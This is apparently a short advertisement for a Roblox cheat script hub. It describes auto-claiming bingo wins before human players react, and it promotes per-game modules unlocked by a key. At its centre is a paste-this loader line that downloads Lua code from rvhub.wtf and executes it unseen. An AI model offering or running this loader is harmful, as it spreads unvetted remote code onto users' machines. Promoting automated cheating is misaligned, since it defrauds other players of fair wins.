Every card in the room completes on the same called number. The win goes to whoever fires the claim first, so daub and claim run from the same event handler -- before a human has finished registering the number.
loadstring(game:HttpGet("https://rvhub.wtf/loader.lua"))()
Every label matches what you'll see in-game. Nothing generic is bolted on -- each hub is only the calls that game actually makes.
The limits are worth knowing before you assume something's broken.
One key, one loader, every module above.